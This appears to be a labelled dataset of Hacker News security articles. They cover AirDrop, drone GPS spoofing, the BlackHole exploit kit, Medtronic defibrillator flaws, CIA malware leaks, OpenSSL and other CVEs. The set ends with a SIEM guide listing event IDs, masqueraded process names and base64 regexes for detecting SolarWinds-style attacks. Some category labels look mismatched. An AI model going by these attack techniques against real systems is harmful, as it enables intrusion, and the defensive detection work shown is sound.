Dowd also provided a video demonstration (you can watch below) showing the real time attack on his iPhone running iOS 8.4.1.

The vulnerability affects any iOS versions supporting AirDrop from iOS 7 onwards, as well as Mac OS X versions from Yosemite onwards.

Update to iOS 9 and Mac OS X EI Capitan

Apple has responded to the vulnerability by adding a sandbox to AirDrop in iOS 9 that would prevent anyone from writing files to arbitrary locations on the device via AirDrop service.

However, it isn't clear when Apple will provide a complete patch to fix the issue.

So the only way to prevent this attack, for now, is by upgrading your devices to iOS 9 and OS X 10.11 El Capitan, which won't roll out before September 16 and 30 respectively.

",Malware
Iranian engineer hijack U.S. drone by GPS hack [Video Explanation],https://thehackernews.com/2011/12/iranian-engineer-hijack-us-drone-by-gps.html,"An Iranian engineer working on the captured US drone has said that Iran exploited a weakness in the craft's navigation system to hijack it. The aircraft was downed through a relatively unsophisticated cyber-attack that tricked its global positioning systems (GPS).

The technique, known as ""GPS spoofing"" has been around for several years, and the Iranians began studying it in 2007, the engineer reportedly said. The U.S. Department of Energy notes that GPS is widely used, but insecure, although few users have taken note. GPS signals for the U.S. military are similarly insecure, and drones often rely on signals from multiple satellites. It's possible to spoof unencrypted civilian GPS systems. But military GPS receivers, such as the one likely installed on the missing drone, use the encrypted P(Y)-code to communicate with satellites.

""With spoofing, an adversary provides fake GPS signals. This convinces the GPS receiver that it is located in the wrong place and/or time,"" the vulnerability assessment team at Argonne National Laboratory explained. ""Remarkably, spoofing can be accomplished without having much knowledge about electronics, computers, or GPS itself.""

Other drone vulnerabilities have also highlighted security fears. In October, Danger Room broke the news that the cockpits at the Air Force's drone fleet based out of Creech Air Force Base in Nevada were infected with a virus. Malware had apparently made its way onto computers because someone had been using one to play the Mafia Wars game a stunning security faux pas.

The RQ-170 Sentinel has been seen on display by Iran's gloating military after it went missing along the Afghan-Iran border earlier this month - but a former Pentagon official said it seems to be a fake. However the engineer working on the CIA drone's system told the Christian Science Monitor that his country fooled the aircraft into touching down in Iran - instead of its programmed destination.The engineer claimed the electronic attack made it 'land on its own where we wanted it to, without having to crack the remote-control signals and communications' from the U.S. control centre.
The drone was used for covert surveillance such as the operation to spy on the Pakistan compound of Osama Bin Laden before he was killed in a U.S. raid in May.Iranian officials have said the drone came down over eastern Iran, hundreds of miles from the cluster of nuclear sites in the central and north-west of the country.They believe they can 'mass produce' the captured drone by 'reverse engineering' the aircraft.

",Malware
BlackHole Exploit Kit 2.0 released with more latest Exploits,https://thehackernews.com/2012/09/blackhole-exploit-kit-20-released-with.html,"According to release announcement on Pastebin by unknown developers in a Russian-language BlackHole Exploit Kit 2.0 released with more latest Exploits. BlackHole is one of the most dominant exploit toolkits currently available in the underground market. It enables attackers to exploit security holes in order to install malicious software on victim's systems.

The new variant doesn't rely on plugindetect to determine the Java version that's installed, thus speeding up the malware download process. Old exploits that were causing browsers to crash and ""scary visual effects"" have been removed.

The exploit kit is offered both as a ""licensed"" software product for the intrepid malware server operator and as malware-as-a-service by the author off his own server.

Some interesting claims by developer about new version:
prevent direct download of executable payloads
only load exploit contents when client is considered vulnerable
drop use of PluginDetect library (performance justification)
remove some old exploits (leaving Java atomic & byte, PDF LibTIFF, MDAC)
change from predictable url structure (filenames and querystring parameter names)
update machine stats to include Windows 8 and mobile devices
better breakdown of plug-in version information
improved checking of referrer
block TOR traffic

Finally, a number of ""private tricks"" have been implemented, which the author prefers to keep a secret because he fears that competitors and antivirus companies are ""sneaking around."" The developer offers a one-day rental of capacity on his server for as little as $50, up to a month-long lease for $500 (with larger fees for traffic over 70,000 web hits per day).

For those who want to run their own BlackHole server, licenses start at $700 for a 3-month license (which includes software support) and range up to $1,500 for a full year, plus $200 for the multidomain version. For those who want to cover their tracks, a site clean-up package comes priced at $300.

",Vulnerability
Medtronic's Implantable Defibrillators Vulnerable to Life-Threatening Hacks,https://thehackernews.com/2019/03/hacking-implantable-defibrillators.html,"The U.S. Department of Homeland Security Thursday issued an advisory warning people of severe vulnerabilities in over a dozen heart defibrillators that could allow attackers to fully hijack them remotely, potentially putting lives of millions of patients at risk.

Cardioverter Defibrillator is a small surgically implanted device (in patients' chests) that gives a patient's heart an electric shock (often called a countershock) to re-establish a normal heartbeat.

While the device has been designed to prevent sudden death, several implanted cardiac defibrillators made by one of the world's largest medical device companies Medtronic have been found vulnerable to two serious vulnerabilities.

Discovered by researchers from security firm Clever Security, the vulnerabilities could allow threat actors with knowledge of medical devices to intercept and potentially impact the functionality of these life-saving devices.

""Successful exploitation of these vulnerabilities may allow an attacker with adjacent short-range access to one of the affected products to interfere with, generate, modify, or intercept the radio frequency (RF) communication of the Medtronic proprietary Conexus telemetry system, potentially impacting product functionality and/or allowing access to transmitted sensitive data,"" warns the advisory released by DHS.

The vulnerabilities reside in the Conexus Radio Frequency Telemetry Protocol—a wireless communication system used by some of Medtronic defibrillators and their control units to wirelessly connect to implanted devices over the air using radio-waves.

Flaw 1: Lack of Authentication in Medtronic's Implantable Defibrillators

According to an advisory [PDF] published by Medtronic, these flaws affect more than 20 products, 16 of which are implantable defibrillators and rest are the defibrillators' bedside monitors and programmers.

The more critical flaw of the two is CVE-2019-6538 which occurs because the Conexus telemetry protocol does not include any checks for data tampering, nor performs any form of authentication or authorization.

The successful exploitation of this vulnerability could allow an attacker within the radio range of the affected device and right radio gear to intercept, spoof, or modify data transmitting between the device and its controller, which could potentially harm or perhaps even kill the patient.

""This communication protocol provides the ability to read and write memory values to affected implanted cardiac devices; therefore, an attacker could exploit this communication protocol to change memory in the implanted cardiac device,"" the DHS says.

Flaw 2: Lack of Encryption in Medtronic's Implantable Defibrillators

The Conexus telemetry protocol also provides no encryption to secure the telemetry communications, making it possible for attackers within the range to eavesdrop on the communication. This issue has been assigned CVE-2019-6540.

However, Medtronic said the vulnerabilities would be hard to take advantage of and harm patients since it requires the following conditions to be met:

An unauthorized individual would need to be in close proximity of up to 6 meters (20 feet) to the targeted device or clinic programmer.
Conexus telemetry must be activated by a healthcare professional who is in the same room as the patient.
Outside of the hospital activation times of devices are limited, which vary patient to patient and are difficult to be predicted by an unauthorized user.

The medical technology giant also assures its users that ""neither a cyberattack nor patient harm has been observed or associated with these vulnerabilities"" to this date.

Medtronic also noted that its line of implanted pacemakers, including those with Bluetooth wireless functionality, as well as its CareLink Express monitors and CareLink Encore programmers (Model 29901) used by some hospitals and clinics are not vulnerable to either of these flaws.

Medtronic has already applied additional controls for monitoring and responding to the abuse of the Conexus protocol by the affected implanted cardiac devices and is working on a fix to address the reported vulnerabilities.

The security fix will soon become available, and in the meantime, Medtronic urged ""patients and physicians continue to use these devices as prescribed and intended.""

",Vulnerability
Inj3ct0r Team found XSS Vulnerability on MSN website,https://thehackernews.com/2012/11/inj3ct0r-team-found-xss-vulnerability.html,"A particular class of attacks commonly referred to as ""code insertion"" and often ""Cross-Site Scripting"" has become increasingly popular. Yesterday we reported about Cross site scripting bug Paypal and Apple.

Hacker from Inj3ct0r Team reported a XSS Cross site scripting Vulnerability on MSN.com website. Vulnerability exist of a subdomain of MSN at https://news.de.msn.com/. Details posted in an advisory. Cross site scripting occurs when a web application gathers malicious data from a user.

Hackers said that, ""The goal is to close the capabilities gap between the cyber-criminals and white hats, by enabling defenders to perform more comprehensive testing of their defenses.""

According to report, this XSS is working perfectly with Internet Explorer and Opera web browser, Proof of Concept URL's are posted in advisory and Image as shown.

",Vulnerability
Simple Bug allows Hackers to Read all your Private Facebook Messenger Chats,https://thehackernews.com/2016/12/hack-facebook-messenger-chats.html,"A security researcher has discovered a critical vulnerability in Facebook Messenger that could allow an attacker to read all your private conversation, affecting the privacy of around 1 Billion Messenger users.

Ysrael Gurt, the security researcher at BugSec and Cynet, reported a cross-origin bypass-attack against Facebook Messenger which allows an attacker to access your private messages, photos as well as attachments sent on the Facebook chat.

To exploit this vulnerability, all an attacker need is to trick a victim into visiting a malicious website; that's all.

Once clicked, all private conversations by the victim, whether from a Facebook's mobile app or a web browser, would be accessible to the attacker, because the flaw affected both the web chat as well as the mobile application.

Dubbed ""Originull,"" the vulnerability actually lies in the fact that Facebook chats are managed from a server located at {number}-edge-chat.facebook.com, which is separate from Facebook's actual domain (www.facebook.com).
""Communication between the JavaScript and the server is done by XML HTTP Request (XHR). In order to access the data that arrives from 5-edge-chat.facebook.com in JavaScript, Facebook must add the ""Access-Control-Allow-Origin"" header with the caller's origin, and the ""Access-Control-Allow-Credentials"" header with ""true"" value, so that the data is accessible even when the cookies are sent,"" Gurt explained.
The root of this issue was misconfigured cross-origin header implementation on Facebook's chat server domain, which allowed an attacker to bypass origin checks and access Facebook messages from an external website.
Gurt has also released a proof-of-concept video demonstration of the Originull vulnerability, which shows the cross-origin bypass-attack in action.

However, Secret Conversations, Facebook Messenger's end-to-end encrypted chat feature was not affected by this bug, as it can be initiated or launched only using its mobile app.
""This security flaw meant that the messages of 1-billion active monthly Messenger users were vulnerable to attackers,"" said Stas Volfus, Chief Technology Officer of BugSec.

""This was an extremely serious issue, not only due to the high number of affected users, but also because even if the victim sent their messages using another computer or mobile, they were still completely vulnerable.""
The researcher disclosed the severe vulnerability to Facebook through its Bug Bounty program. The Facebook security team acknowledged the issue and patched the vulnerable component.
You can read the full details of the flaw on Cynet's blog post published on Tuesday.

",Vulnerability
WikiLeaks Reveals 'AfterMidnight' & 'Assassin' CIA Windows Malware Frameworks,https://thehackernews.com/2017/05/windows-malware-framework.html,"When the world was dealing with the threat of the self-spreading WannaCry ransomware, WikiLeaks released a new batch of CIA Vault 7 leaks, detailing two apparent CIA malware frameworks for the Microsoft Windows platform.

Dubbed ""AfterMidnight"" and ""Assassin,"" both malware programs are designed to monitor and report back actions on the infected remote host computer running the Windows operating system and execute malicious actions specified by the CIA.

Since March, WikiLeaks has published hundreds of thousands of documents and secret hacking tools that the group claims came from the US Central Intelligence Agency (CIA).

This latest batch is the 8th release in the whistleblowing organization's 'Vault 7' series.

'AfterMidnight' Malware Framework

According to a statement from WikiLeaks, 'AfterMidnight' allows its operators to dynamically load and execute malicious payload on a target system.

The main controller of the malicious payload, disguised as a self-persisting Windows Dynamic-Link Library (DLL) file and executes ""Gremlins"" – small payloads that remain hidden on the target machine by subverting the functionality of targeted software, surveying the target, or providing services for other gremlins.

Once installed on a target machine, AfterMidnight uses an HTTPS-based Listening Post (LP) system called ""Octopus"" to check for any scheduled events. If found one, the malware framework downloads and stores all required components before loading all new gremlins in the memory.
According to a user guide provided in the latest leak, local storage related to AfterMidnight is encrypted with a key which is not stored on the target machine.

A special payload, called ""AlphaGremlin,"" contains a custom script language which even allows operators to schedule custom tasks to be executed on the targeted system.

'Assassin' Malware Framework

Assassin is also similar to AfterMidnight and described as ""an automated implant that provides a simple collection platform on remote computers running the Microsoft Windows operating system.""

Once installed on the target computer, this tool runs the implant within a Windows service process, allowing the operators to perform malicious tasks on an infected machine, just like AfterMidnight.

Assassin consists of four subsystems: Implant, Builder, Command and Control, and Listening Post.

The 'Implant' provides the core logic and functionality of this tool on a target Windows machine, including communications and task execution. It is configured using the 'Builder' and deployed to a target computer via some undefined vector.

The 'Builder' configures Implant and 'Deployment Executables' before deployment and ""provides a custom command line interface for setting the Implant configuration before generating the Implant,"" reads the tool's user guide.

The 'Command and Control' subsystem acts as an interface between the operator and the Listening Post (LP), while the LP allows the Assassin Implant to communicate with the command and control subsystem through a web server.

Last week, WikiLeaks dumped a man-in-the-middle (MitM) attack tool, called Archimedes, allegedly created by the CIA to target computers inside a Local Area Network (LAN).

This practice by the US intelligence agencies of holding vulnerabilities, rather than disclosing them to the affected vendors, wreaked havoc across the world in past 3 days, when the WannaCry ransomware hit computers in 150 countries by using an SMB flaw that the NSA discovered and held, but ""The Shadow Brokers"" subsequently leaked it over a month ago.

Microsoft Slams NSA For Its Role in 'WannaCry' Attack

Even Microsoft President Brad Smith condemned the US intelligence agency's practice, saying that the ""widespread damage"" caused by WannaCry happened due to the NSA, CIA and other intelligence agencies for holding zero-day security vulnerabilities.
""This is an emerging pattern in 2017. We have seen vulnerabilities stored by the CIA show up on WikiLeaks, and now this vulnerability stolen from the NSA has affected customers around the world,"" Smith said.
Since March, the whistleblowing group has published 8 batches of ""Vault 7"" series, which includes the latest and last week leaks, along with the following batches:
Year Zero – dumped CIA hacking exploits for popular hardware and software.
Weeping Angel – spying tool used by the agency to infiltrate smart TV's, transforming them into covert microphones.
Dark Matter – focused on hacking exploits the agency designed to target iPhones and Macs.
Marble – revealed the source code of a secret anti-forensic framework, basically an obfuscator or a packer used by the CIA to hide the actual source of its malware.
Grasshopper – reveal a framework which allowed the agency to easily create custom malware for breaking into Microsoft's Windows and bypassing antivirus protection.
Scribbles – a piece of software allegedly designed to embed 'web beacons' into confidential documents, allowing the spying agency to track insiders and whistleblowers.

",Malware
Malvertisers Exploited WebKit 0-Day to Redirect Browser Users to Scam Sites,https://thehackernews.com/2021/02/malvertisers-exploited-webkit-0-day-to.html,"A malvertising group known as ""ScamClub"" exploited a zero-day vulnerability in WebKit-based browsers to inject malicious payloads that redirected users to fraudulent websites gift card scams.
The attacks, first spotted by ad security firm Confiant in late June 2020, leveraged a bug (CVE-2021–1801) that allowed malicious parties to bypass the iframe sandboxing policy in the browser engine that powers Safari and Google Chrome for iOS and run malicious code.
Specifically, the technique exploited the manner how WebKit handles JavaScript event listeners, thus making it possible to break out of the sandbox associated with an ad's inline frame element despite the presence of ""allow-top-navigation-by-user-activation"" attribute that explicitly forbids any redirection unless the click event occurs inside the iframe.
To test this hypothesis, the researchers set about creating a simple HTML file containing a cross-origin sandboxed iframe and a button outside it that triggered an event to access the iframe and redirect the clicks to rogue websites.
""The [...] button is outside of the sandboxed frame after all,"" Confiant researcher Eliya Stein said. ""However, if it does redirect, that means we have a browser security bug on our hands, which turned out to be the case when tested on WebKit based browsers, namely Safari on desktop and iOS.""
Following responsible disclosure to Apple on June 23, 2020, the tech giant patched WebKit on December 2, 2020, and subsequently addressed the issue ""with improved iframe sandbox enforcement"" as part of security updates released earlier this month for iOS 14.4 and macOS Big Sur.
Confiant said the operators of ScamClub have delivered more than 50 million malicious impressions over the last 90 days, with as many as 16MM impacted ads being served in a single day.
""On the tactics side, this attacker historically favors what we refer to as a 'bombardment' strategy,"" Stein elaborated.
""Instead of trying to fly under the radar, they flood the ad tech ecosystem with tons of horrendous demand well aware that the majority of it will be blocked by some kind of gatekeeping, but they do this at incredibly high volumes in the hopes that the small percentage that slips through will do significant damage.""
Confiant has also published a list of websites used by the ScamClub group to run its recent scam campaign.

",Vulnerability
OpenSSL Vulnerable to Man-in-the-Middle Attack and Several Other Bugs,https://thehackernews.com/2014/06/openssl-vulnerable-to-man-in-middle.html,"Remember OpenSSL Heartbleed vulnerability? Several weeks ago, the exposure of this security bug chilled the Internet, revealed that millions of websites were vulnerable to a flaw in the OpenSSL code which they used to encrypt their communications.

Now once again the OpenSSL Foundation has issued software updates to patch six new vulnerabilities, and two of them are critical.

MAN-IN-THE-MIDDLE ATTACK (CVE-2014-0224)
First critical vulnerability (CVE-2014-0224) in OpenSSL is ""CCS Injection"" - resides in ChangeCipherSpec (CCS) request sent during the handshake that could allow an attacker to perform a man-in-the-middle attack against the encrypted connection servers and clients.

By exploiting this vulnerability an attacker could intercept an encrypted connection which allows him to decrypt, read or manipulate the data. But the reported flaw is exploitable only if both server and client are vulnerable to this issue.

According to the OpenSSL advisory, ""An attacker using a carefully crafted handshake can force the use of weak keying material in OpenSSL SSL/TLS clients and servers."" All versions of OpenSSL are vulnerable on the client side. Only 1.0.1 and above are currently known to be vulnerable on the server side. SSL VPN (virtual private network) products are believed to be especially vulnerable to this flaw.

OpenSSL CCS Injection vulnerability is discovered by a Japanese security researcher, Masashi Kikuchi from Lepidum security firm. According to him this bug was existed since the very first release of OpenSSL. RedHat also posted a detailed explanation about this bug on their security blog.

DTLS invalid fragment vulnerability (CVE-2014-0195): Sending invalid DTLS fragments to a OpenSSL DTLS client or server can lead to a buffer overrun attack. A potential hacker could exploit this flaw to run arbitrary code on a vulnerable client or server. This vulnerability also marked as critical bug.

DTLS recursion flaw (CVE-2014-0221): A remote attacker can send an invalid DTLS (Datagram Transport Layer Security) handshake to an OpenSSL DTLS client, which will force the code to recurse eventually crashing in a DoS attack. This attack is limited to the applications using OpenSSL as a DTLS client.

DTLS mainly used in VOIP and other communication related applications like Cisco Systems' AnyConnect VPN Client. Chrome and Firefox web browser also support DTLS for WebRTC (Web Real-Time Communication) for P2P file sharing and Voice/Video Chats.

Other important OpenSSL vulnerabilities are:
SSL_MODE_RELEASE_BUFFERS NULL pointer dereference (CVE-2014-0198), allows remote attackers to cause a denial of service via a NULL pointer dereference.
SSL_MODE_RELEASE_BUFFERS session injection or denial of service (CVE-2010-5298), allows remote attackers to inject data across sessions or cause a denial of service.
Anonymous ECDH denial of service (CVE-2014-3470), OpenSSL TLS clients enabling anonymous ECDH (Elliptic Curve Diffie Hellman) ciphersuites are subject to a denial of service attack.
But the good news is that these vulnerabilities are not as critical as Heartbleed bug. The patched versions 0.9.8za, 1.0.0m and 1.0.1h are available on the project website to download and The OpenSSL Foundation is urging companies to update their implementation as soon as possible.

",Vulnerability
New NAME:WRECK Vulnerabilities Impact Nearly 100 Million IoT Devices,https://thehackernews.com/2021/04/new-namewreck-vulnerabilities-impact.html,"Security researchers have uncovered nine vulnerabilities affecting four TCP/IP stacks impacting more than 100 million consumer and enterprise devices that could be exploited by an attacker to take control of a vulnerable system.
Dubbed ""NAME:WRECK"" by Forescout and JSOF, the flaws are the latest in series of studies undertaken as part of an initiative called Project Memoria to study the security of widely-used TCP/IP stacks that are incorporated by various vendors in their firmware to offer internet and network connectivity features.
""These vulnerabilities relate to Domain Name System (DNS) implementations, causing either Denial of Service (DoS) or Remote Code Execution (RCE), allowing attackers to take target devices offline or to take control over them,"" the researchers said.
The name comes from the fact that parsing of domain names can break (i.e., ""wreck"") DNS implementations in TCP/IP stacks, adding to a recent uptick in vulnerabilities such as SigRed, SAD DNS, and DNSpooq that leverage the ""phonebook of the internet"" as an attack vector.
They also mark the fifth time security weaknesses have been identified in the protocol stacks that underpin millions of internet-connected devices —
URGENT/11
Ripple20
AMNESIA:33, and
NUMBER:JACK
Specifically, the latest research offers a closer look at the ""message compression"" scheme used in the DNS protocol that ""eliminates the repetition of domain names in a message"" with the intent of reducing the size of messages, uncovering multiple flaws in FreeBSD (12.1), IPnet (VxWorks 6.6), Nucleus NET (4.3), and NetX (6.0.1) stacks.
In a plausible real-world attack scenario, adversaries can exploit these flaws to find their way into an organization's network via an internet-facing device that issues DNS requests to a server and exfiltrate sensitive information, or even use them as a stepping stone to sabotage critical equipment.
With the exception of IPnet, FreeBSD, Nucleus NET, and NetX have all released patches, requiring device vendors using vulnerable versions of the software to ship an updated firmware to their customers.
But as with the previous flaws, there are several hurdles to applying the fixes, what with the lack of information regarding the TCP/IP stack that runs on a device, the difficulty in delivering patches because the devices are not centrally managed, or they cannot be taken offline due to their central role in mission-critical processes like healthcare and industrial control systems.
In other words, besides the effort required to identify all the vulnerable devices, it could take a considerable amount of time before the security patches trickle down from the stack vendor to the firmware of the device.
Even worse, in some cases, it may never be feasible to push a patch, as a result of which many of the impacted devices will most likely remain exposed to attacks for years to come or until they are decommissioned.
While a quick fix may not be in sight, the bright spot in the findings is that there are mitigations that make it easier to detect attempts to take advantage of these flaws. For a start, Forescout has released an open-source script to detect devices running the affected stacks. In addition, the researchers also recommend enforcing network segmentation controls until the patches are in place and monitoring all network traffic for malicious packets that attempt to exploit flaws targeting DNS, mDNS, and DHCP clients.
The study is also expected to be presented at the Black Hat Asia 2021 conference on May 6, 2021.
""NAME:WRECK is a case where bad implementations of a specific part of an RFC can have disastrous consequences that spread across different parts of a TCP/IP stack and then different products using that stack,"" the researchers said.
""It is also interesting that simply not implementing support for compression (as seen for instance in lwIP) is an effective mitigation against this type of vulnerability. Since the bandwidth saving associated with this type of compression is almost meaningless in a world of fast connectivity, we believe that support for DNS message compression currently introduces more problems than it solves.""

",Malware
Rising Demand for DDoS Protection Software Market By 2020-2028,https://thehackernews.com/2021/03/rising-demand-for-ddos-protection.html,"Distributed Denial of Service (DDoS) attack is a malicious form of attack that disrupts the regular network traffic by overwhelming the website with more traffic than the server can handle. The main aim of this kind of cyberattack is to render the website inoperable.
Over recent years, these kinds of attacks are increasing, fueling the demand for the best DDoS protection software solutions. Many unplanned data center outages are owing to DDoS attacks. The threat of DDoS is due to access to easy-to-use tools and the profit potential through extortion.
The attacks target businesses directly, leading to substantial financial and personal losses, making it critical to have robust DDoS protection software solutions in place.
According to the report of Market Research Inc, the DDoS protection Software Market is predicted to reach +14% CAGR by 2020 – 2028.
Important Statistics to illustrate the growing demand for DDoS Software Solutions
Demand for the DDoS software market is on the rise due to the exponential increase in multi-vector DDoS attacks and the ease with which DDoS-for-hire services are available today.
These statistics show continuous growth in the deadly DDoS attacks and the impending requirement to have a robust DDoS protection pool.
There has been a perceptible rise in DDoS attacks between 2014 and 2017, up 2.5 times.
By 2020, the total number of DDoS attacks reached 17 million, with the cost of one such attack between $20,000-$40,000 per hour.
The average size of such an attack was a whopping 26.37 GBps in Q2 2018 that increased by a mind-blowing 967% to reach 100 Gbps in Q1 2019.
The largest attack so far was GitHub in February 2018 with 1.3TBps.
China was the top offender in DDoS attacks in Q3 2020, accounting for 70.20% of all attacks.
In Q3 2020, China was the leading targeted country, with 72.83% of attacks.
DDoS activity increased by 542% between Q4 2019 and Q1 2020
The global DDoS protection and mitigation market size is anticipated to increase at a CAGR 0f 14%, from USD 2.4 billion in 2019 to USD 6 billion by 2028
Factors Driving the Growth of DDoS Protection and Mitigation Market
The incidents of cyberattacks have increased in recent times, mainly due to the shift towards digitization, an increase in the number of connected devices, and the rise in the computational power of processors. There is a critical need to develop software solutions to mitigate these threats.
The main factors that would drive the growth of the DDoS protection and mitigation market between 2020 -2028 include the rise in the penetration of the Internet of Things (IoT) and connected devices and the demand from small and medium enterprises.
Organizations realize the impact of these attacks and want to have a disaster recovery plan in place beforehand.
How DDoS Protection Works
Many enterprises are faced with the question - How to protect my website from DDoS attacks? Today, there are many vendors offering software solutions that guard websites against these attacks.
It uses algorithms and advanced software to manage incoming traffic to the website. It denies access to illegitimate traffic and lets the legitimate one filter through.
DDoS Prevention Solution
The DDoS protection program includes buying and managing the equipment that can sift out the receiving traffic and resist the attack. These are cloud-based security services and network devices that moderate the incoming threat.
Between 2020-2028, hardware solutions and services are expected to grow to ascertain network connectivity and reduce downtime in case of equipment or power failures.
DDoS Deployment Modes
DDoS protection and mitigation market are divided into the cloud, on-premises, and hybrid when it comes to deployment. The hybrid model is expected to grow maximum in the forecast period. It allows organizations to keep their essential data within their premises and shift the non-critical one to the cloud.
In recent times, many DDoS attacks were undetected by on-premises and cloud-based solutions. Organizations could not detect and thwart them; hence, they are shifting towards a hybrid deployment model.
Key players offering DDoS Detection and Mitigation Solutions
With the increase in DDoS attacks, there has been an increasing number of players offering software solutions to detect and mitigate the attacks.
The top players in the market are:
NETSCOUT
Indusface Managed DDoS Mitigation
Akamai Technologies
Cloudflare
Link11
Huawei Technologies
Verisign
Nexusguard
Largest Market Share in The DDoS Protection and Mitigation Market
According to the Market Research Inc report, North America would have the biggest, largest market share in the DDoS protection and mitigation market in the forecast period. The main drivers for having a huge market size are that it was one of the early adopters of the DDoS protection and mitigation solution and has no solution providers in this field. Many businesses in North America are implementing DDoS protection and mitigation solutions to thwart these threats in the bud.
Asia Pacific (APAC) will also see a rise in its market growth due to fast economic growth and stability in developing countries, and better regulatory reforms.
In recent times the DDoS attacks are becoming more and more sophisticated, with the threat and impact of network DDoS attacks changing over time. Though the volumetric attacks are quite the same, the application-specific attacks and targeted, high-intensity ones increase in number.
DDoS protection software solutions aim to eradicate the downtime of these attacks and enhance website availability to keep businesses productive and efficient. On-premises, cloud, and hybrid software solutions for small, medium, and large enterprises is the way forward.

",Cyber_Attack
"Detecting the ""Next"" SolarWinds-Style Cyber Attack",https://thehackernews.com/2021/04/detecting-next-solarwinds-attack.html,"The SolarWinds attack, which succeeded by utilizing the sunburst malware, shocked the cyber-security industry. This attack achieved persistence and was able to evade internal systems long enough to gain access to the source code of the victim.
Because of the far-reaching SolarWinds deployments, the perpetrators were also able to infiltrate many other organizations, looking for intellectual property and other assets.
Among the co-victims: US government, government contractors, Information Technology companies, and NGOs. An incredible amount of sensitive data was stolen from several customers after a trojanized version of SolarWinds' application was installed on their internal structures.
Looking at the technical capabilities of the malware, as you will see, this particular attack was quite impressive. A particular file, named SolarWinds.Orion.Core.BusinessLayer.dll is a SolarWinds digitally signed component of the Orion software framework.
The threat actors installed a backdoor that communicates via HTTP to third-party servers. After an initial dormant period of up to two weeks, it retrieves and executes commands, called ""Jobs,"" which includes the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services.
So how could one protect the organization from Sunburst or a similar attack? Supply chain attacks have the advantage of establishing an initial foothold under the guise of a trusted 3rd party. But that's where the distinction ends; from there on, they progress like any other attack, and they can be detected if we know where to look.
Developing SIEM rules, using the SolarWinds attack as an example
Let's start with Sigma rules; these create a sort of a common language to create and share quality queries regardless of the SIEM your organization uses. The Cymulate platform will produce Sigma Rules for you to download these queries to your SIEM. This will enable Security Operations teams to build out the elements needed to detect future attacks. As you can see below in the 3 examples, the Sigma Rule is the same, yet the custom query is specifically for that SIEM's language. At the click of a button, you can switch to your preferred SIEM.
Example 1: Splunk:
Example 2: Qradar:
Example 3: Azure Sentinel:
Although Sigma rules are designed mostly for queries, one can use them to build a full anti-attack-chain SIEM or EDR rule. In the case of the SolarWinds Sunburst attack and many other attacks, Cymulate Sigma Rules are queries that search for the IOBs of the attack. Each sigma rule will query the SIEM for an IOB of one stage of the attack.
When the IOBs from the sigma rules are combined, they can result in a specific rule for the target system – something that can, with a high degree of confidence, point out the attack without ""inventing the wheel"" all over again. All the required IOB's are in place – in the Sigma rules – you just need to reach out your hand and take them.
Let's look at the specific case of a recreated SolarWinds attack on the Windows platform and hunt it together.
Hunting SolarWinds on Microsoft Windows
The Cymulate Platform provides us the capability to replicate the supply chain attack, which starts with an Exchange server mailbox export. The subsequent stages of the attack, available in the Cymulate platform to simulate the attack, can be seen in the screenshot.
The first event will not get any trigger by Windows, but it will be written in various network logs. Since the event itself cannot be very specific, we will leave it as optional for placement in a general rule. Let's continue.
The next event in the attack is downloading content with PowerShell. Such an event can be monitored with Windows Event IDs 4103 and 4104, which can also show the actual code being run, but we don't want to limit ourselves to a specific method because, let's face it: PowerShell is not the only tool an attacker can use.
What is common to all tools is that while downloading content, an object is created in the system, and for that, there is a Windows Event ID 4663 with an indicator of Access mask 0x1 or, if you use Sysmon, Event ID 11.
Below is a general screenshot of a 4663 Event ID with the relevant fields highlighted. This is the event that the Cymulate Sigma rule detects, and it is also the first IOB in the rule that we will create. You can find more on this Event ID here.
Next in line is the next stage in the attack: Task Scheduler: Masquerading Tasks triggered on the windows lock screen for lateral movement. Once again, it is irrelevant exactly which Tasks are being masqueraded; what is important is that there are Windows Event ID's that can help us identify this chain of events.
The Event ID's are:
4698 - task created
4700 - Scheduled task enabled.
4702 - Scheduled task updated.
4699 - Scheduled task removed.
What is relevant for us is, of course, is 4698 as this will pop up when a new task is created. Events of updating, enabling and/or removing a task are a good enhancement but optional. Personally, I would recommend adding an option of 4699, since there is always a possibility that the attacker would like to remove the task after completion to cover his tracks.
So, what we will want for minimal requirements is 4698 with a set of specific regexes in the ""Command"" field in the event, that match known executable types for example:
- '.exe' - '.py - '.ps1' - '.msi - '.msp' - '.mst' - '.ws' - '.wsf' - '.vb' - '.vbs' - '.jst' - '.cmd' - '.cpl'
For complex cases, regular expressions, such as those below, can be used:
- '^([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)?$'
-'^([A-Za-z0-9 \/]{4})*([A-Za-z0-9 \/]{3}=|[A-Za-z0-9 \/]{2}==)?$'
Pay special attention to the last two IOBs (regexes): these match a base64 pattern. Although ""Scheduled Task"" receives a string as an input, it is possible to write in it an obfuscated/encrypted form of a command. For example, ""python"" as command and ""base64.b64decode(some base64 payload)"" as an argument, thus effectively making your task into ""decoding base64 payload"" tool.
Once again, all the indicators can be found in the Sigma Rules supplied by Cymulate. We will call this list and other upcoming lists of IOB's just ""relevant IOB list"" for the purpose of convenience. Below is the general view of the 4698 Event ID of creating a new task.
So, by now, we have covered two events in the chain. These should occur on the same machine and with the same username. After that, the process in your task will be executed, resulting in 4688 Event ID with Creator Process name: TaskScheduler or TaskScheduler.dll or taskeng.exe (depending on the version of build you use), and New Process Name will have one of those IOB's in the executables list. So, at this stage, our Rule looks like this:
(4663 + Access mask 0x1)🡪 (4698 and relevant IOB list)🡪 (4688+list of relevant Creator Process name + list of relevant IOBs as part of New process Name)
OR
4663 + Access mask 0x1 or Sysmon 11)🡪 [(4698 + relevant IOB list) 🡪(4688+(TaskScheduler.dll or taskeng.exe))]
The 🡪 sign represents ""followed by"" operation
The next stage in the attack is running DLL file with rundll32. This is a simple IOB, which, by the way, can be run in a previous step as well. In this specific case it is 4688+rundll.32
Next is ADFind : Enumerating an AD Group using ADFind Masqueraded as csrss.exe. This step is a bit tricky. During this step an attacker masquerades his enumerating tool as some legitimate file. However, before this can happen, the illegitimate file has to be written somewhere on one of your drives (preferably in the system folder) with the legitimate name.
In this specific case it is csrss.exe, but there is quite a large number of file names that could be used for the same purpose for example:
- 'svchost.exe'. - rundll32.exe. - services.exe. - powershell.exe. - regsvr32.exe. - spoolsv.exe
- lsass.exe. - smss.exe. - csrss.exe. - conhost.exe. - wininit.exe. - winlogon.exe. - explorer.exe
- taskhost.exe. - Taskmgr.exe. - sihost.exe - RuntimeBroker.exe - smartscreen.exe.
Again, no need to search for all of them, they are already supplied in the relevant Sigma rule.
